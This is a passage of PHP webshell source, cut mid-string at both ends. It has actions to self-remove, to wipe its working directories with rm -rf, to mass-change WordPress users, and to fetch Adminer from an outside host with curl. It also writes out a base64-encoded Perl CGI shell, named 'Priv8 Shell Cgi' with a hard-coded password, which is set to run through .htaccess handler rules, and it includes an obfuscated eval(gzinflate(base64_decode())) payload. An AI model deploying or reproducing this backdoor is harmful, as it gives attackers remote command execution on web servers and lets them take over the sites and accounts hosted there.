eCtXUnVjc2ZTcGJOaG9CdVFBcXV2QjVnRHQvVW5YQVFzd0tBaDB5WHU1SGMycmUwS0UwRG8vNnNUL21kV0NnSFh2b2wzQkdZTUZYMndLaWd3UmZPRDJnaVJEV09LdVl6cWRleGxYZXR1QklHNEV3NnE0NExBNGNsdXY4STZncUFzTmdsQ3NlZ1dEWURoY0pJTS9qb1hFVXlYUW9VNTB3eVdESVhOeHBFeFJjbVFnV1FBcEE1d0ZxMXUvZjBGKzVZQVNIZ0NSSVBvRkNReVFKVWgxUWdRNXpyNFFEUmhNa05VQ2JJWnlDUm9YS0QvUTJmMmVNM0JTY1pkdDVHY3ZGZkFocFFDU1daclRYZjZsU2VlWVN5NDBRSEJ3TGczTTZaYzNoTTR2ek5BQ3JKZ1VBbkZjY3AyS1FoUTVqUG5Kc1JJa0gxTGZSZU1sd3FDV0xVR0Zud3hJQ0lLaHlDQXg5d245aEJVTTVZUXI1VVh6OXJPNVltemQvazNwTEg1aUx3aGs3ejhvLzJldlhKQnpBdGhOTEJtZG02T1lLYXNMTVA3UHZKSWlwUFRuVk1CMjhUQUFLZDIyeUNCZTBDRTkyWXBHelo0L3NhdWh4TytHV0cyTmJMeUFFR0hoVTQrQjVCQ1prRzJaY1AxOS9LMGpFRE1xN0hCQWY3MzJaUVgxbEhZVm5NWDlEK1ZONlZjMUlxVStWNkw2eEtnclJxcG14d3ZxTkpFUVRnZTRWVEZEZWEwR000SWluZUdpbFcxSkhLaTBEdkJZcGZjS1JUU2NjTzgvQUZlazVqMEpHU210d2VhbWxkOHIzZVNPUVRqdVZoTCtTcnR3QzZxQ2M2Q2lTMEFwN0lORUpvRktYako0eXNwVUFpaG5pdDYzdXpiSlhLZk95VU9LWDhwbm1lMlVYV0s4NFo4OXUrd21YdnZ6eWM0cE53MDhTdTN6THIya0w2Znd1VmZrb2IzeUdvMHlycE5rS3RtenNpdURCWTUwWXRTd2tySUhtREM0bXlueFR0djZiWVhYS21iNkJ2bnJwMTRleVpsNlpsNVZ0L1R0SGpodHFNS3V2RVBWSXBBZDd0Mi9waGRmLzBTVWxYT2RiSFJ0ZW5FM0FTNXZnbHRybjMya2J1MjMwNnRrL28yUGZ6bnRsalA5cGV2ZHJiOS9ubTM4L1hJUUhmYVlBN2lSQ1p2TzBoc0p4UVV3bXVXdGk1QUdaazhIUVRReTgyR3hkU1BmQkdObnZ4SXgrMFl3aTVuUHFZaEhRZG56b1NrbStPbTladmkzbmZEUzJabmYxeHZOQ1praVpQZkxsM3d1bmlobktBM2FRSU1KYk15b0FwbnJoV2FmdWhKL3Q1enJ1ZWpMZzhZTFpaai9uRGlScFZzYWRiL1dMUkdyTVhDdHR3ZHR2NzV6MkNhMmlIRktITmMvbk9ac0hzWjlLSGpIYnRTelZjNmtCYnN5ZDR5RlYreExQN0huOEJ6NTIvcEN2MzcyT2ZDc1ZoUFFyWkg1bDdEVncyOU5QdGd4SksyWWhJdmRWTGM4bVF6RHpSUElQMG84QXp6NHp4ZlEwMnpXbUxFWlJSYXNCeGp1c3JRTWhUSmxUWXZobUgydFlSODFIeHBVMFBNV3FDaEJtVFdGa28rYU9RWUxuQWg4V0NZRVMzZXdnWnlhQnMwUEhNRHdFUHpINEkvbjZtRWVQQnVPR1UzbVptaTg5QU9mOU5oNzZRbHhVYUdsZStWWm9OZUp2RkVBQ3lKUThhekNlQXhQM0NUMitrM1Z2bjJiV2tHQ3Y5aGlrME5zUTlpM054S2twV29FSFA2TUR4VnNPYklCWUh4UUhSaDJRZmtVbWZoZmRJVmhXZ2wzWWt5WFJBYVJ6NmJOMmoxM3MxcmJaamtBenNYRGJHS3d1MG5CZDJmbiswdFB2dDVhcVJrQVNsMlZIM1p4ZWl2Tm9qSXNJVlRsWHFzV0hrVVJyUzNGdWRVWUN2SEdmbE01SnhLVnRaQWNuUEhzVm93dHJmZ3FQcmNWR0F5RXJpSTNMR1dGbWk5Q2RlUTVKbnQxU0RsRUpzd0ZCYlBuRHJlUDc1QmZRa2sxK2docE5Rd0pLZWEwMWFXNjRITDRqZWFPYW1vcWhkTFNlQnFzYnhKYmtRSTlMWXVIMzBLVUpoYmJaOHlJdUFVK3h6Sm1KbTg4MWFVN0ljOTRFeTlSTi83NStKSTlDQTZKaE1LNEZQS0xXTElTakFUYnIyRXp0MXJySVZlTWJWaEtXRWlwSTdRejdsdGpGR3JmNjl2Zi8rOTVDMmFtdWlYODZWT2NqUis4M3FZMUhoSWw3TjRIdVlxRzBZSi9pMWJEYzRtMTlXb1RTNDE4cFo5N0pxOHZybCtJM3c2Z1ZuTTBDYk9hRnI2Z2RtcEJiWjJzdy9qaVY2NHB5WTJtWWF5NTk5NlIwYzB6dllDRjZ1SUxId1lPcE5qOUxySEMxMHQ4aWxkOFU0czIzZ0RZTnY3czlLd0Q0Ym50M1ovR3d3UDkyWkQ4WThHK1M5K0duc1B4UDY3bVFqYmVIdXd4ZmNVVEFmSWFSNjdTeTlsQnVQU0dHTEV5dkY1U3o0TFZzcURQUFl5UWtqT3kzT21XOXEzL3ltbCtMNnhZSyt4aFNmK1J3emRlSkxXbjhxUTB6WHJVNUdSKzhnakthRlAyeno3UGZYZVFNVEtkU3J6TzNSanhhWlNkbDk3M05NTllyVTFXSnBMV2F0bHplOUF0ZFREcUtQOUpjTUdUQ0FkZDJjQUJrUU1Tdk8yM0Z2bjc4ZkZLdjlVN3hWN2NpWDlOcWdjQndKZTFMb0M5RlE5OXBnZ0JVUGVLY1lBIjsgJHRleHQgPSAiU3kxTHpOSElLTW5OS1M1SVRjNU16RW5PU0N3cWprOUpUYzVQU2RVb0xjcUJzcElTaTFQTlRHRGlLbm1KdWFtYVFHQU5BQT09IjsgZXZhbCAoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJHRleHQpKSk7IGV4aXQ7ID8+";\r\n\t$mass = fopen($file_mass, "w");\r\n\tfwrite($mass, base64_decode($mass_script));\r\n\techo "<br><center>  <iframe frameBorder=0 src=\'priv_sym/conf.php\' width=\'900\' height=\'480\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionEdituser() {\r\n\thardHeader();\r\n\techo "<center><h1>Wordpress Mass User Changer</h1><div class=content><br>";\r\n\techo "<br><center>  <iframe frameBorder=0 src=\'?user\' width=\'900\' height=\'400\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionLogout() {\r\n\texec("rm -rf priv_sym priv_cgi adminer.php");\r\n    setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600);\r\n\tdie("<style>\r\n\tbody {background-color:#000000; background-image:url(\'https://i.imgur.com/hLcQCBx.gif\'); } </style></br></br><body><pre align=center><form method=post style=\'color:#ffffff;text-align: center;\'>bye bye<br><br></form> </body>");\r\n}\r\nfunction actionSelfRemove() {\r\n\tif($_POST[\'p1\'] == \'yes\')\r\n\t\tif(@unlink(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)))\r\n\t\t\tdie(\'Shell has been removed\');\r\n\t\telse\r\n\t\t\techo \'unlink error!\';\r\n    if($_POST[\'p1\'] != \'yes\')\r\n        hardHeader();\r\n\techo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\\\'yes\\\')">Yes</a></div>\';\r\n\thardFooter();\r\n}\r\n\r\n\r\nfunction actionAdminer() {\r\n\thardHeader();\r\n\techo "<center><h1>Adminer</h1><div class=content><br>";\r\n\t$full = str_replace($_SERVER[\'DOCUMENT_ROOT\'], "", $dir);\r\n\tfunction adminer($url, $isi) {\r\n\t\t$fp = fopen($isi, "w");\r\n\t\t$ch = curl_init();\r\n\t\t \t  curl_setopt($ch, CURLOPT_URL, $url);\r\n\t\t \t  curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);\r\n\t\t \t  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\r\n\t\t \t  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);\r\n\t\t   \t  curl_setopt($ch, CURLOPT_FILE, $fp);\r\n\t\treturn curl_exec($ch);\r\n\t\t   \t  curl_close($ch);\r\n\t\tfclose($fp);\r\n\t\tob_flush();\r\n\t\tflush();\r\n\t}\r\n\tif(file_exists(\'adminer.php\')) {\r\n\t\techo "<center><font color=white><br><a href=\'adminer.php\' target=\'_blank\'>[ Adminer login ]</a><br><br><br></font></center>";\r\n\t} else {\r\n\t\tif(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {\r\n\t\t\techo "<center><font color=white><br><br><a href=\'adminer.php\' target=\'_blank\'>[ Adminer login ]</a><br><br></font></center>";\r\n\t\t} else {\r\n\t\t\techo "<center><font color=red>Failed to create Adminer file</font></center>";\r\n\t\t}\r\n\t}\r\n\thardFooter();\r\n}\r\nfunction actionBruteforce() {\r\n\thardHeader();\r\n\techo "<center><h1>Cgi Telnet</h1><div class=content><br>";\r\n\t$cgi_dir = mkdir(\'priv_cgi\', 0755);\r\n        chdir(\'priv_cgi\');\r\n\t$file_cgi = "cgi.priv";\r\n        $memeg = ".htaccess";\r\n\t$isi_htcgi = "OPTIONS Indexes Includes ExecCGI FollowSymLinks \\n AddType application/x-httpd-cgi .priv \\n AddHandler cgi-script .priv \\n AddHandler cgi-script .priv";\r\n\t$htcgi = fopen(".htaccess", "w");\r\n\t$cgi_script = "IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCnVzZSBNSU1FOjpCYXNlNjQ7CiRWZXJzaW9uPSAiUFJJVjgtU0hFTEwgVmVyc2lvbiAxLjMiOwokRWRpdFBlcnNpb249Ijxmb250IHN0eWxlPSd0ZXh0LXNoYWRvdzogMHB4IDBweCA2cHggcmdiKDI1NSwgMCwgMCksIDBweCAwcHggNXB4IHJnYigzMDAsIDAsIDApLCAwcHggMHB4IDVweCByZ2IoMzAwLCAwLCAwKTsgY29sb3I6I2ZmZmZmZjsgZm9udC13ZWlnaHQ6Ym9sZDsnPlBSSVY4LVNIRUxMPC9mb250PiI7CgokUGFzc3dvcmQgPSAicHJpdjhzaGVsbCI7CQkJIyBDaGFuZ2UgdGhpcy4gWW91IHdpbGwgbmVlZCB0byBlbnRlciB0aGlzIHRvIGxvZ2luLgpzdWIgSXNfV2luKCl7Cgkkb3MgPSAmdHJpbSgkRU5WeyJTRVJWRVJfU09GVFdBUkUifSk7CglpZigkb3MgPX4gbS93aW4vaSl7CgkJcmV0dXJuIDE7Cgl9CgllbHNlewoJCXJldHVybiAwOwoJfQp9CiRXaW5OVCA9ICZJc19XaW4oKTsJCQkJIyBZb3UgbmVlZCB0byBjaGFuZ2UgdGhlIHZhbHVlIG9mIHRoaXMgdG8gMSBpZgoJCQkJCQkJCSMgeW91J3JlIHJ1bm5pbmcgdGhpcyBzY3JpcHQgb24gYSBXaW5kb3dzIE5UCgkJCQkJCQkJIyBtYWNoaW5lLiBJZiB5b3UncmUgcnVubmluZyBpdCBvbiBVbml4LCB5b3UKCQkJCQkJCQkjIGNhbiBsZWF2ZSB0aGUgdmFsdWUgYXMgaXQgaXMuCgokTlRDbWRTZXAgPSAiJiI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBXaW5kb3dzIE5ULgoKJFVuaXhDbWRTZXAgPSAiOyI7CQkJCSMgVGhpcyBjaGFyYWN0ZXIgaXMgdXNlZCB0byBzZXBlcmF0ZSAyIGNvbW1hbmRzCgkJCQkJCQkJIyBpbiBhIGNvbW1hbmQgbGluZSBvbiBVbml4LgoKJENvbW1hbmRUaW1lb3V0RHVyYXRpb24gPSAxMDAwMDsJIyBUaW1lIGluIHNlY29uZHMgYWZ0ZXIgY29tbWFuZHMgd2lsbCBiZSBraWxsZWQKCQkJCQkJCQkjIERvbid0IHNldCB0aGlzIHRvIGEgdmVyeSBsYXJnZSB2YWx1ZS4gVGhpcyBpcwoJCQkJCQkJCSMgdXNlZnVsIGZvciBjb21tYW5kcyB0aGF0IG1heSBoYW5nIG9yIHRoYXQKCQkJCQkJCQkjIHRha2UgdmVyeSBsb25nIHRvIGV4ZWN1dGUsIGxpa2UgImZpbmQgLyIuCgkJCQkJCQkJIyBUaGlzIGlzIHZhbGlkIG9ubHkgb24gVW5peCBzZXJ2ZXJzLiBJdCBpcwoJCQkJCQkJCSMgaWdub3JlZCBvbiBOVCBTZXJ2ZXJzLgoKJFNob3dEeW5hbWljT3V0cHV0ID0gMTsJCQkjIElmIHRoaXMgaXMgMSwgdGhlbiBkYXRhIGlzIHNlbnQgdG8gdGhlCgkJCQkJCQkJIyBicm93c2VyIGFzIHNvb24gYXMgaXQgaXMgb3V0cHV0LCBvdGhlcndpc2UKCQkJCQkJCQkjIGl0IGlzIGJ1ZmZlcmVkIGFuZCBzZW5kIHdoZW4gdGhlIGNvbW1hbmQKCQkJCQkJCQkjIGNvbXBsZXRlcy4gVGhpcyBpcyB1c2VmdWwgZm9yIGNvbW1hbmRzIGxpa2UKCQkJCQkJCQkjIHBpbmcsIHNvIHRoYXQgeW91IGNhbiBzZWUgdGhlIG91dHB1dCBhcyBpdAoJCQkJCQkJCSMgaXMgYmVpbmcgZ2VuZXJhdGVkLgoKIyBET04nVCBDSEFOR0UgQU5ZVEhJTkcgQkVMT1cgVEhJUyBMSU5FIFVOTEVTUyBZT1UgS05PVyBXSEFUIFlPVSdSRSBET0lORyAhIQoKJENtZFNlcCA9ICgkV2luTlQgPyAkTlRDbWRTZXAgOiAkVW5peENtZFNlcCk7CiRDbWRQd2QgPSAoJFdpbk5UID8gImNkIiA6ICJwd2QiKTsKJFBhdGhTZXAgPSAoJFdpbk5UID8gIlxcIiA6ICIvIik7CiRSZWRpcmVjdG9yID0gKCRXaW5OVCA/ICIgMj4mMSAxPiYyIiA6ICIgMT4mMSAyPiYxIik7CiRjb2xzPSAxNTA7CiRyb3dzPSAyNjsKIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFJlYWRzIHRoZSBpbnB1dCBzZW50IGJ5IHRoZSBicm93c2VyIGFuZCBwYXJzZXMgdGhlIGlucHV0IHZhcmlhYmxlcy4gSXQKIyBwYXJzZXMgR0VULCBQT1NUIGFuZCBtdWx0aXBhcnQvZm9ybS1kYXRhIHRoYXQgaXMgdXNlZCBmb3IgdXBsb2FkaW5nIGZpbGVzLgojIFRoZSBmaWxlbmFtZSBpcyBzdG9yZWQgaW4gJGlueydmJ30gYW5kIHRoZSBkYXRhIGlzIHN0b3JlZCBpbiAkaW57J2ZpbGVkYXRhJ30uCiMgT3RoZXIgdmFyaWFibGVzIGNhbiBiZSBhY2Nlc3NlZCB1c2luZyAkaW57J3Zhcid9LCB3aGVyZSB2YXIgaXMgdGhlIG5hbWUgb2YKIyB0aGUgdmFyaWFibGUuIE5vdGU6IE1vc3Qgb2YgdGhlIGNvZGUgaW4gdGhpcyBmdW5jdGlvbiBpcyB0YWtlbiBmcm9tIG90aGVyIENHSQojIHNjcmlwdHMuCiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0Kc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBQcmludFBhZ2VIZWFkZXIKewoJJEVuY29kZWRDdXJyZW50RGlyID0gJEN1cnJlbnREaXI7CgkkRW5jb2RlZEN1cnJlbnREaXIgPX4gcy8oW15hLXpBLVowLTldKS8nJScudW5wYWNrKCJIKiIsJDEpL2VnOwoJbXkgJGRpciA9JEN1cnJlbnREaXI7CgkkZGlyPX4gcy9cXC9cXFxcL2c7CglwcmludCAiQ29udGVudC10eXBlOiB0ZXh0L2h0bWxcblxuIjsKCXByaW50IDw8RU5EOwo8aHRtbD4KPGhlYWQ+CjxsaW5rIGhyZWY9J2h0dHBzOi8vZm9udHMuZ29vZ2xlYXBpcy5jb20vY3NzP2ZhbWlseT1PcGVuK1NhbnMnIHJlbD0nc3R5bGVzaGVldCc+CjxtZXRhIGh0dHAtZXF1aXY9ImNvbnRlbnQtdHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PVVURi04Ij4KPHRpdGxlPlByaXY4IFNoZWxsIENnaTwvdGl0bGU+CgokSHRtbE1ldGFIZWFkZXIKCjwvaGVhZD4KPHN0eWxlPgpib2R5ewpmb250OiAxMHB0IE9wZW4gU2FuczsKfQp0ciB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpjb2xvcjogI2ZmZmZmZjsKfQp0ZCB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpjb2xvcjogI2ZmMTExMTsKZm9udDogMTBwdCBPcGVuIFNhbnM7Cn0KCnRhYmxlIHsKQk9SREVSLVJJR0hUOiAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1UT1A6ICAgICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItTEVGVDogICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUJPVFRPTTogIzNlM2UzZSAxcHggc29saWQ7CkJBQ0tHUk9VTkQtQ09MT1I6ICMxMTE7Cn0KCgppbnB1dCB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpCQUNLR1JPVU5ELUNPTE9SOiBCbGFjazsKZm9udDogMTBwdCBPcGVuIFNhbnM7CmNvbG9yOiAjZmZmZmZmOwp9CgppbnB1dC5zdWJtaXQgewp0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47CmNvbG9yOiAjRkZGRkZGOwpib3JkZXItY29sb3I6ICNmZjExMTE7Cn0KCmNvZGUgewpib3JkZXIJCQk6IGRhc2hlZCAwcHggIzMzMzsKQkFDS0dST1VORC1DT0xPUjogQmxhY2s7CmZvbnQ6IDEwcHQgT3BlbiBTYW5zIGJvbGQ7CmNvbG9yOiB3aGlsZTsKfQoKcnVuIHsKYm9yZGVyCQkJOiBkYXNoZWQgMHB4ICMzMzM7CmZvbnQ6IDEwcHQgT3BlbiBTYW5zIGJvbGQ7CmNvbG9yOiAjRkYwMEFBOwp9Cgp0ZXh0YXJlYSB7CkJPUkRFUi1SSUdIVDogICMzZTNlM2UgMXB4IHNvbGlkOwpCT1JERVItVE9QOiAgICAjM2UzZTNlIDFweCBzb2xpZDsKQk9SREVSLUxFRlQ6ICAgIzNlM2UzZSAxcHggc29saWQ7CkJPUkRFUi1CT1RUT006ICMzZTNlM2UgMXB4IHNvbGlkOwpCQUNLR1JPVU5ELUNPTE9SOiAjMWIxYjFiOwpmb250OiBGaXhlZHN5cyBib2xkOwpjb2xvcjogI2FhYTsKfQpBOmxpbmsgewoJQ09MT1I6ICNmZjExMTE7IFRFWFQtREVDT1JBVElPTjogbm9uZQp9CkE6dmlzaXRlZCB7CglDT0xPUjogI2ZmMTExMTsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTpob3ZlciB7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47Cgljb2xvcjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTphY3RpdmUgewoJY29sb3I6IFJlZDsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KCi5saXN0ZGlyIHRyOmhvdmVyewoJYmFja2dyb3VuZDogIzQ0NDsKfQoubGlzdGRpciB0cjpob3ZlciB0ZHsKCWJhY2tncm91bmQ6ICM0NDQ7Cgl0ZXh0LXNoYWRvdzogMHB0IDBwdCAwLjNlbSBjeWFuLCAwcHQgMHB0IDAuM2VtIGN5YW47Cgljb2xvcjogI0ZGRkZGRjsgVEVYVC1ERUNPUkFUSU9OOiBub25lOwp9Ci5ub3RsaW5lewoJYmFja2dyb3VuZDogIzExMTsKfQoubGluZXsKCWJhY2tncm91bmQ6ICMyMjI7Cn0KPC9zdHlsZT4KPHNjcmlwdCBsYW5ndWFnZT0iamF2YXNjcmlwdCI+CmZ1bmN0aW9uIGNobW9kX2Zvcm0oaSxmaWxlKQp7CgkvKnZhciBhamF4PSdhamF4X1Bvc3REYXRhKCJGb3JtUGVybXNfJytpKyciLCIkU2NyaXB0TG9jYXRpb24iLCJSZXNwb25zZURhdGEiKTsgcmV0dXJuIGZhbHNlOyc7Ki8KCXZhciBhamF4PSIiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVQZXJtc18iK2kpLmlubmVySFRNTD0iPGZvcm0gbmFtZT1Gb3JtUGVybXNfIiArIGkrICIgYWN0aW9uPScgbWV0aG9kPSdQT1NUJz48aW5wdXQgaWQ9dGV4dF8iICsgaSArICIgIG5hbWU9Y2htb2QgdHlwZT10ZXh0IHNpemU9NSAvPjxpbnB1dCB0eXBlPXN1Ym1pdCBjbGFzcz0nc3VibWl0JyBvbmNsaWNrPSciICsgYWpheCArICInIHZhbHVlPU9LPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9J2d1aSc+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZCB2YWx1ZT0nJGRpcic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ZiB2YWx1ZT0nIitmaWxlKyInPjwvZm9ybT4iOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInRleHRfIiArIGkpLmZvY3VzKCk7Cn0KZnVuY3Rpb24gcm1fY2htb2RfZm9ybShyZXNwb25zZSxpLHBlcm1zLGZpbGUpCnsKCXJlc3BvbnNlLmlubmVySFRNTCA9ICI8c3BhbiBvbmNsaWNrPVxcXCJjaG1vZF9mb3JtKCIgKyBpICsgIiwnIisgZmlsZSsgIicpXFxcIiA+IisgcGVybXMgKyI8L3NwYW4+PC90ZD4iOwp9CmZ1bmN0aW9uIHJlbmFtZV9mb3JtKGksZmlsZSxmKQp7Cgl2YXIgYWpheD0iIjsKCWYucmVwbGFjZSgvXFxcXC9nLCJcXFxcXFxcXCIpOwoJdmFyIGJhY2s9InJtX3JlbmFtZV9mb3JtKCIraSsiLFxcXCIiK2ZpbGUrIlxcXCIsXFxcIiIrZisiXFxcIik7IHJldHVybiBmYWxzZTsiOwoJZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIkZpbGVfIitpKS5pbm5lckhUTUw9Ijxmb3JtIG5hbWU9Rm9ybVBlcm1zXyIgKyBpKyAiIGFjdGlvbj0nIG1ldGhvZD0nUE9TVCc+PGlucHV0IGlkPXRleHRfIiArIGkgKyAiICBuYW1lPXJlbmFtZSB0eXBlPXRleHQgdmFsdWU9ICciK2ZpbGUrIicgLz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGFqYXggKyAiJyB2YWx1ZT1PSz48aW5wdXQgdHlwZT1zdWJtaXQgY2xhc3M9J3N1Ym1pdCcgb25jbGljaz0nIiArIGJhY2sgKyAiJyB2YWx1ZT1DYW5jZWw+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nZ3VpJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kIHZhbHVlPSckZGlyJz48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1mIHZhbHVlPSciK2ZpbGUrIic+PC9mb3JtPiI7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgidGV4dF8iICsgaSkuZm9jdXMoKTsKfQpmdW5jdGlvbiBybV9yZW5hbWVfZm9ybShpLGZpbGUsZikKewoJaWYoZj09J2YnKQoJewoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJGaWxlXyIraSkuaW5uZXJIVE1MPSI8YSBocmVmPSc/YT1jb21tYW5kJmQ9JGRpciZjPWVkaXQlMjAiK2ZpbGUrIiUyMCc+IiArZmlsZSsgIjwvYT4iOwoJfWVsc2UKCXsKCQlkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgiRmlsZV8iK2kpLmlubmVySFRNTD0iPGEgaHJlZj0nP2E9Z3VpJmQ9IitmKyInPlsgIiArZmlsZSsgIiBdPC9hPiI7Cgl9Cn0KPC9zY3JpcHQ+CjxzdHlsZT4KYm9keSB7YmFja2dyb3VuZC1jb2xvcjojMDAwMDAwOyBjb2xvcjojZ